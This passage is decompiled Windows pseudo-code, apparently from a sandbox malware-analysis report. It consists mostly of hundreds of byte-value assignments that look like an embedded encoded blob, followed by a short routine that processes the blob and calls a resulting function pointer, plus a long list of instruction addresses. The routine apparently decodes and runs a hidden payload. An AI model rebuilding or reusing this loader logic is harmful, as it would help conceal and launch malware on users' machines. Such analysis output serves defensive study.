				_v923 = 0xc7;
				_v922 = 0x93;
				_v921 = 0x5f;
				_v920 = 0x26;
				_v919 = 0x74;
				_v918 = 2;
				_v917 = 0x6b;
				_v916 = 0x82;
				_v915 = 0xf1;
				_v914 = 0xbb;
				_v913 = 0x52;
				_v912 = 0x29;
				_v911 = 0xd3;
				_v910 = 0x1c;
				_v909 = 0x37;
				_v908 = 0x5d;
				_v907 = 0x1f;
				_v906 = 0x62;
				_v905 = 0xc;
				_v904 = 0xa5;
				_v903 = 0xa8;
				_v902 = 0x3e;
				_v901 = 0x1c;
				_v900 = 0x64;
				_v899 = 0x56;
				_v898 = 0xbf;
				_v897 = 0x87;
				_v896 = 0x2a;
				_v895 = 0x35;
				_v894 = 0;
				_v893 = 0xd5;
				_v892 = 0x26;
				_v891 = 0xb4;
				_v890 = 0x7d;
				_v889 = 0xd5;
				_v888 = 0xb;
				_v887 = 0x4e;
				_v886 = 0x2e;
				_v885 = 0xed;
				_v884 = 0x94;
				_v883 = 0x73;
				_v882 = 0xcd;
				_v881 = 0x90;
				_v880 = 0x2a;
				_v879 = 0xcb;
				_v878 = 0x2b;
				_v877 = 0x91;
				_v876 = 0x85;
				_v875 = 0xdc;
				_v874 = 0x17;
				_v873 = 0xad;
				_v872 = 9;
				_v871 = 0x47;
				_v870 = 0x14;
				_v869 = 0xed;
				_v868 = 0x19;
				_v867 = 0x9c;
				_v866 = 0x62;
				_v865 = 5;
				_v864 = 0x82;
				_v863 = 0xae;
				_v862 = 0x3f;
				_v861 = 0x59;
				_v860 = 0x6b;
				_v859 = 0x62;
				_v858 = 0xc9;
				_v857 = 0x9f;
				_v856 = 0x55;
				_v855 = 0x3f;
				_v854 = 0x6a;
				_v853 = 0x29;
				_v852 = 0xb4;
				_v851 = 0xd7;
				_v850 = 0x9f;
				_v849 = 0x29;
				_v848 = 0x35;
				_v847 = 0;
				_v846 = 0x63;
				_v845 = 0xf0;
				_v844 = 0xa0;
				_v843 = 0x38;
				_v842 = 0x12;
				_v841 = 0x4e;
				_v840 = 0x8d;
				_v839 = 0x26;
				_v838 = 0xe5;
				_v837 = 0x56;
				_v836 = 0x43;
				_v835 = 0xcd;
				_v834 = 0x90;
				_v833 = 0x2a;
				_v832 = 0xca;
				_v831 = 0xf0;
				_v830 = 0x6e;
				_v829 = 0x7a;
				_v828 = 0x23;
				_v827 = 0xe0;
				_v826 = 6;
				_v825 = 0x74;
				_v824 = 0x47;
				_v823 = 0x58;
				_v822 = 0xed;
				_v821 = 0xbc;
				_v820 = 0xc;
				_v819 = 0x25;
				_v818 = 0xf7;
				_v817 = 0xda;
				_v816 = 0xf;
				_v815 = 0xdf;
				_v814 = 0x11;
				_v813 = 0xe2;
				_v812 = 0x29;
				_v811 = 0x69;
				_v810 = 0x16;
				_v809 = 0x1d;
				_v808 = 0xb4;
				_v807 = 0xa2;
				_v806 = 0x28;
				_v805 = 0xb4;
				_v804 = 4;
				_v803 = 0x4b;
				_v802 = 0x21;
				_v801 = 0x70;
				_v800 = 0x8b;
				_v799 = 0x56;
				_v798 = 0x57;
				_v797 = 0x68;
				_v796 = 0x70;
				_v795 = 0x5d;
				_v794 = 0xbe;
				_v793 = 0x22;
				_v792 = 0x64;
				_v791 = 0x95;
				_v790 = 0x1b;
				_v789 = 0xe4;
				_v788 = 0x76;
				_v787 = 0x50;
				_v786 = 0x51;
				_v785 = 0x10;
				_v784 = 0x25;
				_v783 = 0xe5;
				_v782 = 0x6d;
				_v781 = 0x6b;
				_v780 = 0xda;
				_v779 = 0xf4;
				_v778 = 0xd;
				_v777 = 0x4f;
				_v776 = 0x1c;
				_v775 = 0x69;
				_v774 = 0xc3;
				_v773 = 0x86;
				_v772 = 0x15;
				_v771 = 0xee;
				_v770 = 0xce;
				_v769 = 0x69;
				_v768 = 0x73;
				_v767 = 0xd4;
				_v766 = 0x28;
				_v765 = 0x6f;
				_v764 = 0x7e;
				_v763 = 0xe6;
				_v762 = 0x19;
				_v761 = 0x3c;
				_v760 = 0xa8;
				_v759 = 0x2c;
				_v758 = 7;
				_v757 = 0x70;
				_v756 = 0x1b;
				_v755 = 0x27;
				_v754 = 0x7c;
				_v753 = 0x8b;
				_v752 = 0xfa;
				_v751 = 0x3b;
				_v750 = 0x9b;
				_v749 = 0xfe;
				_v748 = 0x16;
				_v747 = 0xb2;
				_v746 = 0xae;
				_v745 = 0xe7;
				_v744 = 0x54;
				_v743 = 0x52;
				_v742 = 0x12;
				_v741 = 0xbd;
				_v740 = 0x1c;
				_v739 = 0xac;
				_v738 = 0xa;
				_v737 = 0x48;
				_v736 = 0x46;
				_v735 = 0x32;
				_v734 = 0xae;
				_v733 = 0xb;
				_v732 = 2;
				_v731 = 0x54;
				_v730 = 2;
				_v729 = 0x6b;
				_v728 = 0xa6;
				_v727 = 0x12;
				_v726 = 0xcd;
				_v725 = 0x62;
				_v724 = 0x18;
				_v723 = 5;
				_v722 = 0x3c;
				_v721 = 0xb6;
				_v720 = 0x1d;
				_v719 = 0x4f;
				_v718 = 0x4f;
				_v717 = 0;
				_v716 = 0xad;
				_v715 = 0x9b;
				_v714 = 0x7e;
				_v713 = 0x95;
				_v712 = 0xb8;
				_v711 = 0x76;
				_v710 = 0xf3;
				_v709 = 0xa9;
				_v708 = 0x21;
				_v707 = 0x7c;
				_v706 = 0x83;
				_v705 = 0xed;
				_v704 = 0x7b;
				_v703 = 0x2d;
				_v702 = 0xbf;
				_v701 = 0x60;
				_v700 = 0x4d;
				_v699 = 0x1a;
				_v698 = 0x60;
				_v697 = 0x26;
				_v696 = 0xd9;
				_v695 = 0x2b;
				_v694 = 0x6c;
				_v693 = 0x60;
				_v692 = 0xce;
				_v691 = 0xec;
				_v690 = 0x20;
				_v689 = 0x6d;
				_v688 = 0x9d;
				_v687 = 0x62;
				_v686 = 0xd4;
				_v685 = 0x22;
				_v684 = 0x50;
				_v683 = 0xc2;
				_v682 = 0x98;
				_v681 = 0x69;
				_v680 = 0xf1;
				_v679 = 0x29;
				_v678 = 0xd9;
				_v677 = 0xc3;
				_v676 = 0xda;
				_v675 = 0x12;
				_v674 = 0xb4;
				_v673 = 0x24;
				_v672 = 0x6b;
				_v671 = 0x28;
				_v670 = 0x7e;
				_v669 = 0xc2;
				_v668 = 0x11;
				_v667 = 0x30;
				_v666 = 0xdd;
				_v665 = 0x1a;
				_v664 = 0x2b;
				_v663 = 0x35;
				_v662 = 0xe4;
				_v661 = 0xd5;
				_v660 = 0x7c;
				_v659 = 0x83;
				_v658 = 0xec;
				_v657 = 0x5b;
				_v656 = 0x25;
				_v655 = 0x81;
				_v654 = 0x5f;
				_v653 = 0x4d;
				_v652 = 0x6e;
				_v651 = 0x67;
				_v650 = 8;
				_v649 = 0x16;
				_v648 = 0x5c;
				_v647 = 0x2f;
				_v646 = 0x56;
				_v645 = 0x2a;
				_v644 = 0xcd;
				_v643 = 0xdd;
				_v642 = 0x6e;
				_v641 = 0x7a;
				_v640 = 0x23;
				_v639 = 0x13;
				_v638 = 0x25;
				_v637 = 0x83;
				_v636 = 6;
				_v635 = 0xd5;
				_v634 = 0x13;
				_v633 = 0x6b;
				_v632 = 1;
				_v631 = 0x1f;
				_v630 = 0x1a;
				_v629 = 0x2a;
				_v628 = 0xde;
				_v627 = 0xb9;
				_v626 = 0x59;
				_v625 = 0x6b;
				_v624 = 0x6d;
				_v623 = 0xc;
				_v622 = 0xad;
				_v621 = 0x13;
				_v620 = 0x2b;
				_v619 = 0xe1;
				_v618 = 0xa5;
				_v617 = 0xbe;
				_v616 = 0x91;
				_v615 = 0x6f;
				_v614 = 0x29;
				_v613 = 0x35;
				_v612 = 0x40;
				_v611 = 0x25;
				_v610 = 0xc9;
				_v609 = 0x84;
				_v608 = 0x21;
				_v607 = 0x2c;
				_v606 = 0x6f;
				_v605 = 0xeb;
				_v604 = 0xae;
				_v603 = 0x1b;
				_v602 = 0x5e;
				_v601 = 0xe2;
				_v600 = 0x88;
				_v599 = 0x14;
				_v598 = 0xa8;
				_v597 = 0xf;
				_v596 = 0x64;
				_v595 = 0x2b;
				_v594 = 0x75;
				_v593 = 0x6a;
				_v592 = 0x9a;
				_v591 = 0xcd;
				_v590 = 0x47;
				_v589 = 6;
				_v588 = 0xe0;
				_v587 = 0x62;
				_v586 = 0x74;
				_v585 = 0x44;
				_v584 = 0x26;
				_v583 = 0xb9;
				_v582 = 0xe5;
				_v581 = 0x1b;
				_v580 = 0xb2;
				_v579 = 0x19;
				_v578 = 0x95;
				_v577 = 0x29;
				_v576 = 0x42;
				_v575 = 0x6f;
				_v574 = 0x95;
				_v573 = 0xd4;
				_v572 = 0x4b;
				_v571 = 0xe8;
				_v570 = 0xf6;
				_v569 = 5;
				_v568 = 0x7e;
				_v567 = 0x90;
				_v566 = 0x25;
				_v565 = 0;
				_v564 = 0x2a;
				_v563 = 0x73;
				_v562 = 0xe1;
				_v561 = 0xfc;
				_v560 = 0x1a;
				_v559 = 0xc0;
				_v558 = 0x2f;
				_v557 = 0x17;
				_v556 = 0x2a;
				_v555 = 0x5d;
				_v554 = 0x2e;
				_v553 = 0x89;
				_v552 = 0xbb;
				_v551 = 0x29;
				_v550 = 0xcb;
				_v549 = 0xac;
				_v548 = 0x2f;
				_v547 = 0xc2;
				_v546 = 0x63;
				_v545 = 0x5f;
				_v544 = 0x26;
				_v543 = 0x74;
				_v542 = 3;
				_v541 = 0x57;
				_v540 = 0x2f;
				_v539 = 0xb2;
				_v538 = 0;
				_v537 = 0xaf;
				_v536 = 0xb9;
				_v535 = 0x8d;
				_v534 = 0x5a;
				_v533 = 0x3f;
				_v532 = 0x59;
				_v531 = 0x2a;
				_v530 = 0x9a;
				_v529 = 0xb;
				_v528 = 0x32;
				_v527 = 0x55;
				_v526 = 0x3f;
				_v525 = 0x6a;
				_v524 = 0x69;
				_v523 = 0x4b;
				_v522 = 0x7c;
				_v521 = 0x2e;
				_v520 = 0x26;
				_v519 = 0x8f;
				_v518 = 0xe8;
				_v517 = 0x23;
				_v516 = 0x37;
				_v515 = 0xed;
				_v514 = 0xb9;
				_v513 = 0xf6;
				_v512 = 0x4d;
				_v511 = 0x6e;
				_v510 = 0x67;
				_v509 = 0x2f;
				_v508 = 0xd9;
				_v507 = 0x29;
				_v506 = 0xb4;
				_v505 = 0x1c;
				_v504 = 0xa8;
				_v503 = 0xc3;
				_v502 = 0xc4;
				_v501 = 0x6e;
				_v500 = 0x7a;
				_v499 = 0x23;
				_v498 = 0x1e;
				_v497 = 0xad;
				_v496 = 0x62;
				_v495 = 0xf;
				_v494 = 0x5b;
				_v493 = 0xad;
				_v492 = 0x8b;
				_v491 = 0x11;
				_v490 = 0xce;
				_v489 = 0x33;
				_v488 = 0x92;
				_v487 = 0x1d;
				_v486 = 0x39;
				_v485 = 0x1c;
				_v484 = 0x68;
				_v483 = 0x90;
				_v482 = 4;
				_v481 = 0xa5;
				_v480 = 0x93;
				_v479 = 0x17;
				_v478 = 0x2e;
				_v477 = 0x56;
				_v476 = 0xc7;
				_v475 = 0x7f;
				_v474 = 0xed;
				_v473 = 0x74;
				_v472 = 0xca;
				_v471 = 0xff;
				_v470 = 0xd5;
				_v469 = 0x3b;
				_v468 = 0xef;
				_v467 = 0x89;
				_v466 = 0xfe;
				_v465 = 0x4d;
				_v464 = 0x6e;
				_v463 = 0x67;
				_v462 = 0x2b;
				_v461 = 0x61;
				_v460 = 0xa7;
				_v459 = 0x7b;
				_v458 = 0x82;
				_v457 = 0x6d;
				_v456 = 0xcd;
				_v455 = 0xa5;
				_v454 = 0x91;
				_v453 = 0x85;
				_v452 = 0x76;
				_v451 = 0xaf;
				_v450 = 0x62;
				_v449 = 0x4d;
				_v448 = 0xe0;
				_v447 = 0x8c;
				_v446 = 0x66;
				_v445 = 0x74;
				_v444 = 0x44;
				_v443 = 0x52;
				_v442 = 0x18;
				_v441 = 0xae;
				_v440 = 0xdd;
				_v439 = 0xef;
				_v438 = 0x59;
				_v437 = 0x6b;
				_v436 = 0x6d;
				_v435 = 1;
				_v434 = 0xad;
				_v433 = 0x21;
				_v432 = 0x27;
				_v431 = 0x72;
				_v430 = 0x86;
				_v429 = 0x30;
				_v428 = 0x35;
				_v427 = 0x5c;
				_v426 = 0xe9;
				_v425 = 0x74;
				_v424 = 0x8b;
				_v423 = 0xff;
				_v422 = 0x3b;
				_v421 = 0xef;
				_v420 = 0xf7;
				_v419 = 0xa1;
				_v418 = 0x9d;
				_v417 = 0x23;
				_v416 = 0xea;
				_v415 = 0x18;
				_v414 = 0x5a;
				_v413 = 0x2e;
				_v412 = 0xc3;
				_v411 = 0x56;
				_v410 = 0x6d;
				_v409 = 0xcb;
				_v408 = 0xac;
				_v407 = 0x1b;
				_v406 = 0x93;
				_v405 = 0x6f;
				_v404 = 0xd4;
				_v403 = 0x6b;
				_v402 = 0x7c;
				_v401 = 0xa;
				_v400 = 0xdd;
				_v399 = 0xaf;
				_v398 = 0;
				_v397 = 0x6b;
				_v396 = 0xad;
				_v395 = 0xbb;
				_v394 = 0x81;
				_v393 = 0x5a;
				_v392 = 0x3f;
				_v391 = 0x59;
				_v390 = 0xee;
				_v389 = 0xad;
				_v388 = 0x39;
				_v387 = 3;
				_v386 = 0xde;
				_v385 = 0xf7;
				_v384 = 0x26;
				_v383 = 0xe6;
				_v382 = 0xfc;
				_v381 = 0x38;
				_v380 = 0xd7;
				_v379 = 0x82;
				_v378 = 0x9f;
				_v377 = 0xaa;
				_v376 = 0x80;
				_v375 = 0xd9;
				_v374 = 0xce;
				_v373 = 0x96;
				_v372 = 0xf4;
				_v371 = 5;
				_v370 = 0x99;
				_v369 = 0x86;
				_v368 = 0xe5;
				_v367 = 0xdd;
				_v366 = 0xc7;
				_v365 = 0x48;
				_v364 = 0x50;
				_v363 = 0x25;
				_v362 = 6;
				_v361 = 0xad;
				_v360 = 0x84;
				_v359 = 0x79;
				_v358 = 0x6b;
				_v357 = 0x5c;
				_v356 = 0xed;
				_v355 = 0x35;
				_v354 = 0x6c;
				_v353 = 0x8d;
				_v352 = 0x27;
				_v351 = 0x8b;
				_v350 = 0x95;
				_v349 = 0xad;
				_v348 = 0x7b;
				_v347 = 0xd;
				_v346 = 0x17;
				_v345 = 0xb4;
				_v344 = 0x9c;
				_v343 = 0x23;
				_v342 = 0xe6;
				_v341 = 0x43;
				_v340 = 0x6e;
				_v339 = 0x56;
				_v338 = 0xfc;
				_v337 = 0x2b;
				_v336 = 0xe6;
				_v335 = 0xea;
				_v334 = 0x8f;
				_v333 = 0xbf;
				_v332 = 0x61;
				_v331 = 0xbe;
				_v330 = 0xc3;
				_v329 = 0x62;
				_v328 = 0xfa;
				_v327 = 0x3a;
				_v326 = 0x24;
				_v325 = 0xb5;
				_v324 = 0x4f;
				_v323 = 0x5d;
				_v322 = 0xa7;
				_v321 = 0x26;
				_v320 = 0xd3;
				_v319 = 0xa3;
				_v318 = 0x10;
				_v317 = 0x51;
				_v316 = 0x25;
				_v315 = 0x4e;
				_v314 = 0x2d;
				_v313 = 0x31;
				_v312 = 0x3b;
				_v311 = 0x7d;
				_v310 = 0x1e;
				_v309 = 0x7b;
				_v308 = 0x35;
				_v307 = 0x1b;
				_v306 = 7;
				_v305 = 0x38;
				_v304 = 0x2f;
				_v303 = 0x19;
				_v302 = 0xe5;
				_v301 = 0xf0;
				_v300 = 0x6d;
				_v299 = 0xd1;
				_v298 = 0xfb;
				_v297 = 0x11;
				_v296 = 0xe2;
				_v295 = 0x35;
				_v294 = 0x45;
				_v293 = 0x6e;
				_v292 = 0xdc;
				_v291 = 0x57;
				_v290 = 0x7a;
				_v289 = 0x25;
				_v288 = 0xb6;
				_v287 = 0;
				_v286 = 0x77;
				_v285 = 0x61;
				_v284 = 0xbc;
				_v283 = 0x78;
				_v282 = 0xa;
				_v281 = 0x32;
				_v280 = 0x32;
				_v279 = 0x74;
				_v278 = 0xdd;
				_v277 = 0xa1;
				_v276 = 0x7e;
				_v275 = 2;
				_v274 = 0x26;
				_v273 = 0xd9;
				_v272 = 0x63;
				_v271 = 0x6d;
				_v270 = 0x30;
				_v269 = 0x25;
				_v268 = 0x4e;
				_v267 = 0x6c;
				_v266 = 0xe5;
				_v265 = 0x93;
				_v264 = 0x66;
				_v263 = 0x6c;
				_v262 = 0xd0;
				_v261 = 0x3c;
				_v260 = 0xcc;
				_v259 = 8;
				_v258 = 0x7e;
				_v257 = 0x38;
				_v256 = 0xcf;
				_v255 = 0x74;
				_v254 = 0x2c;
				_v253 = 0x68;
				_v252 = 0xd1;
				_v251 = 0x7d;
				_v250 = 0x69;
				_v249 = 0x26;
				_v248 = 0xe8;
				_v247 = 0x8d;
				_v246 = 0x29;
				_v245 = 0xd1;
				_v244 = 0x88;
				_v243 = 0x6a;
				_v242 = 0x6d;
				_v241 = 0x3f;
				_v240 = 0x31;
				_v239 = 0x60;
				_v238 = 0x39;
				_v237 = 0x77;
				_v236 = 0x58;
				_v235 = 0x63;
				_v234 = 0x10;
				_v233 = 0x24;
				_v232 = 0;
				_v231 = 0x1f;
				_v230 = 0xc6;
				_v229 = 0xb8;
				_v228 = 0x2a;
				_v227 = 0xe5;
				_v226 = 0x40;
				_v225 = 0x94;
				_v224 = 0x47;
				_v223 = 0x2f;
				_v222 = 0x21;
				_v221 = 0x6a;
				_v220 = 0x2a;
				_v219 = 0xe5;
				_v218 = 0xe6;
				_v217 = 0x23;
				_v216 = 0xd7;
				_v215 = 0x26;
				_v214 = 0x74;
				_v213 = 0x47;
				_v212 = 0x1d;
				_v211 = 0xe3;
				_v210 = 0xaf;
				_v209 = 0x30;
				_v208 = 0xf4;
				_v207 = 0x74;
				_v206 = 0xae;
				_v205 = 0x5e;
				_v204 = 0x1b;
				_v203 = 0x11;
				_v202 = 0xaa;
				_v201 = 0x85;
				_v200 = 0x5d;
				_v199 = 0x40;
				_v198 = 0x11;
				_v197 = 4;
				_v196 = 0x9a;
				_v195 = 0x1e;
				_v194 = 0x1d;
				_v193 = 0x38;
				_v192 = 0xe4;
				_v191 = 0x65;
				_v190 = 0x11;
				_v189 = 8;
				_v188 = 0x6e;
				_v187 = 0x7c;
				_v186 = 0xd3;
				_v185 = 0xf4;
				_v184 = 0x51;
				_v183 = 0xf3;
				_v182 = 0x6f;
				_v181 = 0xa6;
				_v180 = 0xa4;
				_v179 = 0x5f;
				_v178 = 0xe7;
				_v177 = 0x71;
				_v176 = 0x31;
				_v175 = 0x59;
				_v174 = 0x4d;
				_v173 = 0xef;
				_v172 = 0xac;
				_v171 = 0x9a;
				_v170 = 0x20;
				_v169 = 0x8f;
				_v168 = 0x6e;
				_v167 = 0x8b;
				_v166 = 0x86;
				_v165 = 0x11;
				_v164 = 0xe5;
				_v163 = 0x9d;
				_v162 = 0x45;
				_v161 = 0x53;
				_v160 = 0xdb;
				_v159 = 0x6e;
				_v158 = 0xd7;
				_v157 = 3;
				_v156 = 0x41;
				_v155 = 0x2f;
				_v154 = 0xe6;
				_v153 = 2;
				_v152 = 0x3e;
				_v151 = 0xde;
				_v150 = 0x78;
				_v149 = 0x4a;
				_v148 = 0x2c;
				_v147 = 0xc0;
				_v146 = 0xb9;
				_v145 = 0x26;
				_v144 = 0x2a;
				_v143 = 0xf5;
				_v142 = 0x4a;
				_v141 = 0xa7;
				_v140 = 0x47;
				_v139 = 0xec;
				_v138 = 0xd7;
				_v137 = 0x76;
				_v136 = 0xc6;
				_v135 = 0x70;
				_v134 = 0x22;
				_v133 = 0xe5;
				_v132 = 0x8c;
				_v131 = 0x2e;
				_v130 = 0x4b;
				_v129 = 0x88;
				_v128 = 0x6d;
				_v127 = 0xc3;
				_v126 = 0x1a;
				_v125 = 0x92;
				_v124 = 0x75;
				_v123 = 0x9d;
				_v122 = 0x54;
				_v121 = 0x6e;
				_v120 = 0x8b;
				_v119 = 0x84;
				_v118 = 0x19;
				_v117 = 0xa7;
				_v116 = 0xbf;
				_v115 = 0x49;
				_v114 = 0x62;
				_v113 = 0x3f;
				_v112 = 0xfc;
				_v111 = 0xde;
				_v110 = 0xf6;
				_v109 = 0x2c;
				_v108 = 0x84;
				_v107 = 0x2c;
				_v106 = 0xc0;
				_v105 = 0x22;
				_v104 = 0x46;
				_v103 = 4;
				_v102 = 0xaf;
				_v101 = 0x19;
				_v100 = 0x31;
				_v99 = 0x31;
				_v98 = 0x90;
				_v97 = 0xe0;
				_v96 = 0x74;
				_v95 = 0x83;
				_v94 = 0xd3;
				_v93 = 0x72;
				_v92 = 0x13;
				_v91 = 0xee;
				_v90 = 0xb7;
				_v89 = 0x15;
				_v88 = 0x91;
				_v87 = 0x98;
				_v86 = 0x91;
				_v85 = 0xd9;
				_v84 = 0x20;
				_v83 = 0x6c;
				_v82 = 0x13;
				_v81 = 0xa8;
				_v80 = 0x42;
				_v79 = 0x65;
				_v78 = 0x27;
				_v77 = 0x79;
				_v76 = 0xe3;
				_v75 = 0x50;
				_v74 = 0x91;
				_v73 = 0x60;
				_v72 = 0x46;
				_v71 = 0xd3;
				_v70 = 0x29;
				_v69 = 0x68;
				_v68 = 0xd;
				_v67 = 0x25;
				_v66 = 0xf4;
				_v65 = 0xae;
				_v64 = 0x5e;
				_v63 = 0xae;
				_v62 = 0x10;
				_v61 = 0x68;
				_v60 = 0xad;
				_v59 = 0xa6;
				_v58 = 0x24;
				_v57 = 0x66;
				_v56 = 0xff;
				_v55 = 0x22;
				_v54 = 0xe6;
				_v53 = 0x63;
				_v52 = 0x54;
				_v51 = 0x4f;
				_v50 = 0x61;
				_v49 = 0xbe;
				_v48 = 0x6c;
				_v47 = 0xe;
				_v46 = 0x5b;
				_v45 = 0x2c;
				_v44 = 0xb7;
				_v43 = 0x2a;
				_v42 = 0x69;
				_v41 = 0x5e;
				_v40 = 0x2f;
				_v39 = 0xe5;
				_v38 = 0x2e;
				_v37 = 0x43;
				_v36 = 0x70;
				_v35 = 0x18;
				_v34 = 0xa6;
				_v33 = 0x8a;
				_v32 = 0x7c;
				_v31 = 0x2f;
				_v30 = 0x24;
				_v29 = 0xe0;
				_v2796 = 0xa2c;
				_v2776 = 0;
				E00007FFE7FFE354F9970(0x5f5e100, _v2792,  &_v2672); // executed
				E00007FFE7FFE354E1490(_t2715, _t2715);
				_v2760 = _t2715;
				E00007FFE7FFE354F9970(0x5f5e100, _v2792,  &_v2704); // executed
				E00007FFE7FFE354E14B0(_t2715);
				r9d = 0x5f5e100;
				if ((E00007FFE7FFE354F9410(_t2703, __esp,  &_v2776,  &_v2800, _t2715) & 0x000000ff) != 0) goto 0x354f924a;
				_v2804 = 1;
				goto 0x354f9252;
				_v2804 = 0;
				_v2808 = _v2804 & 0x000000ff;
				E00007FFE7FFE354E1540( &_v2704);
				E00007FFE7FFE354E1540( &_v2672);
				_t2669 = _v2808 & 0x000000ff;
				if (_t2669 == 0) goto 0x354f9382;
				E00007FFE7FFE354F9F00();
				__imp__CoInitialize();
				_v2780 = _t2669;
				if (_v2780 >= 0) goto 0x354f92bb;
				r9d = 0;
				r8d = 0;
				MessageBoxA(??, ??, ??, ??);
				goto 0x354f93ea;
				r9d = 0x64;
				LoadStringW(??, ??, ??, ??);
				r9d = 0x64;
				LoadStringW(??, ??, ??, ??);
				E00007FFE7FFE354F3ED0(_a8);
				if (E00007FFE7FFE354F3CB0(_a16, _a8) != 0) goto 0x354f932d;
				__imp__CoUninitialize();
				goto 0x354f93ea;
				r9d = 0;
				r8d = 0;
				if (GetMessageW(??, ??, ??, ??) == 0) goto 0x354f9372;
				if (TranslateAcceleratorW(??, ??, ??) != 0) goto 0x354f9370;
				TranslateMessage(??);
				DispatchMessageW(??);
				goto 0x354f932d;
				__imp__CoUninitialize();
				goto 0x354f93ea;
				r8d = 0x20;
				E00007FFE7FFE354E6920(0, 0, _t2703, __esp, 0x3555fdc0, 0x3555a060, _t2746,  &_v2752);
				_t2716 = _a8;
				 *0x3555fdc0 = _t2716;
				 *0x3555fdc8 = 1;
				E00007FFE7FFE354F9510(_v2800, _v2776, 0x3555a060); // executed
				 *0x3555fdd0 = _t2716;
				E00007FFE7FFE354F9510(_v2796,  &_v2632, 0x3555a060); // executed
				_v2768 = _t2716;
				_v2768();
				return E00007FFE7FFE354E3A70(1, 0, _v2796, _v24 ^ _t2748);
			}

0x7ffe354f3fb0
0x7ffe354f3fb0
0x7ffe354f3fb0
0x7ffe354f3fb5
0x7ffe354f3fb9
0x7ffe354f3fc5
0x7ffe354f3fcc
0x7ffe354f3fcf
0x7ffe354f3fde
0x7ffe354f3fe7
0x7ffe354f3fe9
0x7ffe354f3fee
0x7ffe354f3ff6
0x7ffe354f3ffe
0x7ffe354f4007
0x7ffe354f4015
0x7ffe354f401a
0x7ffe354f4025
0x7ffe354f4027
0x7ffe354f4034
0x7ffe354f403e
0x7ffe354f4043
0x7ffe354f404d
0x7ffe354f4057
0x7ffe354f4061
0x7ffe354f406b
0x7ffe354f4075
0x7ffe354f407f
0x7ffe354f4087
0x7ffe354f408f
0x7ffe354f4097
0x7ffe354f409f
0x7ffe354f40a7
0x7ffe354f40af
0x7ffe354f40b7
0x7ffe354f40bf
0x7ffe354f40c7
0x7ffe354f40cf
0x7ffe354f40d7
0x7ffe354f40df
0x7ffe354f40e7
0x7ffe354f40ef
0x7ffe354f40f7
0x7ffe354f40ff
0x7ffe354f4107
0x7ffe354f410f
0x7ffe354f4117
0x7ffe354f411f
0x7ffe354f4127
0x7ffe354f412f
0x7ffe354f4137
0x7ffe354f413f
0x7ffe354f4147
0x7ffe354f414f
0x7ffe354f4157
0x7ffe354f415f
0x7ffe354f4167
0x7ffe354f416f
0x7ffe354f4177
0x7ffe354f417f
0x7ffe354f4187
0x7ffe354f418f
0x7ffe354f4197
0x7ffe354f419f
0x7ffe354f41a7
0x7ffe354f41af
0x7ffe354f41b7
0x7ffe354f41bf
0x7ffe354f41c7
0x7ffe354f41cf
0x7ffe354f41d7
0x7ffe354f41df
0x7ffe354f41e7
0x7ffe354f41ef
0x7ffe354f41f7
0x7ffe354f41ff
0x7ffe354f4207
0x7ffe354f420f
0x7ffe354f4217
0x7ffe354f421f
0x7ffe354f4227
0x7ffe354f422f
0x7ffe354f4237
0x7ffe354f423f
0x7ffe354f4247
0x7ffe354f424f
0x7ffe354f4257
0x7ffe354f425f
0x7ffe354f4267
0x7ffe354f426f
0x7ffe354f4277
0x7ffe354f427f
0x7ffe354f4287
0x7ffe354f428f
0x7ffe354f4297
0x7ffe354f429f
0x7ffe354f42a7
0x7ffe354f42af
0x7ffe354f42b7
0x7ffe354f42bf
0x7ffe354f42c7
0x7ffe354f42cf
0x7ffe354f42d7
0x7ffe354f42df
0x7ffe354f42e7
0x7ffe354f42ef
0x7ffe354f42f7
0x7ffe354f42ff
0x7ffe354f4307
0x7ffe354f430f
0x7ffe354f4317
0x7ffe354f431f
0x7ffe354f4327
0x7ffe354f432f
0x7ffe354f4337
0x7ffe354f433f
0x7ffe354f4347
0x7ffe354f434f
0x7ffe354f4357
0x7ffe354f435f
0x7ffe354f4367
0x7ffe354f436f
0x7ffe354f4377
0x7ffe354f437f
0x7ffe354f4387
0x7ffe354f438f
0x7ffe354f4397
0x7ffe354f439f
0x7ffe354f43a7
0x7ffe354f43af
0x7ffe354f43b7
0x7ffe354f43bf
0x7ffe354f43c7
0x7ffe354f43cf
0x7ffe354f43d7
0x7ffe354f43df
0x7ffe354f43e7
0x7ffe354f43ef
0x7ffe354f43f7
0x7ffe354f43ff
0x7ffe354f4407
0x7ffe354f440f
0x7ffe354f4417
0x7ffe354f441f
0x7ffe354f4427
0x7ffe354f442f
0x7ffe354f4437
0x7ffe354f443f
0x7ffe354f4447
0x7ffe354f444f
0x7ffe354f4457
0x7ffe354f445f
0x7ffe354f4467
0x7ffe354f446f
0x7ffe354f4477
0x7ffe354f447f
0x7ffe354f4487
0x7ffe354f448f
0x7ffe354f4497
0x7ffe354f449f
0x7ffe354f44a7
0x7ffe354f44af
0x7ffe354f44b7
0x7ffe354f44bf
0x7ffe354f44c7
0x7ffe354f44cf
0x7ffe354f44d7
0x7ffe354f44df
0x7ffe354f44e7
0x7ffe354f44ef
0x7ffe354f44f7
0x7ffe354f44ff
0x7ffe354f4507
0x7ffe354f450f
0x7ffe354f4517
0x7ffe354f451f
0x7ffe354f4527
0x7ffe354f452f
0x7ffe354f4537
0x7ffe354f453f
0x7ffe354f4547
0x7ffe354f454f
0x7ffe354f4557
0x7ffe354f455f
0x7ffe354f4567
0x7ffe354f456f
0x7ffe354f4577
0x7ffe354f457f
0x7ffe354f4587
0x7ffe354f458f
0x7ffe354f4597
0x7ffe354f459f
0x7ffe354f45a7
0x7ffe354f45af
0x7ffe354f45b7
0x7ffe354f45bf
0x7ffe354f45c7
0x7ffe354f45cf
0x7ffe354f45d7
0x7ffe354f45df
0x7ffe354f45e7
0x7ffe354f45ef
0x7ffe354f45f7
0x7ffe354f45ff
0x7ffe354f4607
0x7ffe354f460f
0x7ffe354f4617
0x7ffe354f461f
0x7ffe354f4627
0x7ffe354f462f
0x7ffe354f4637
0x7ffe354f463f
0x7ffe354f4647
0x7ffe354f464f
0x7ffe354f4657
0x7ffe354f465f
0x7ffe354f4667
0x7ffe354f466f
0x7ffe354f4677
0x7ffe354f467f
0x7ffe354f4687
0x7ffe354f468f
0x7ffe354f4697
0x7ffe354f469f
0x7ffe354f46a7
0x7ffe354f46af
0x7ffe354f46b7
0x7ffe354f46bf
0x7ffe354f46c7
0x7ffe354f46cf
0x7ffe354f46d7
0x7ffe354f46df
0x7ffe354f46e7
0x7ffe354f46ef
0x7ffe354f46f7
0x7ffe354f46ff
0x7ffe354f4707
0x7ffe354f470f
0x7ffe354f4717
0x7ffe354f471f
0x7ffe354f4727
0x7ffe354f472f
0x7ffe354f4737
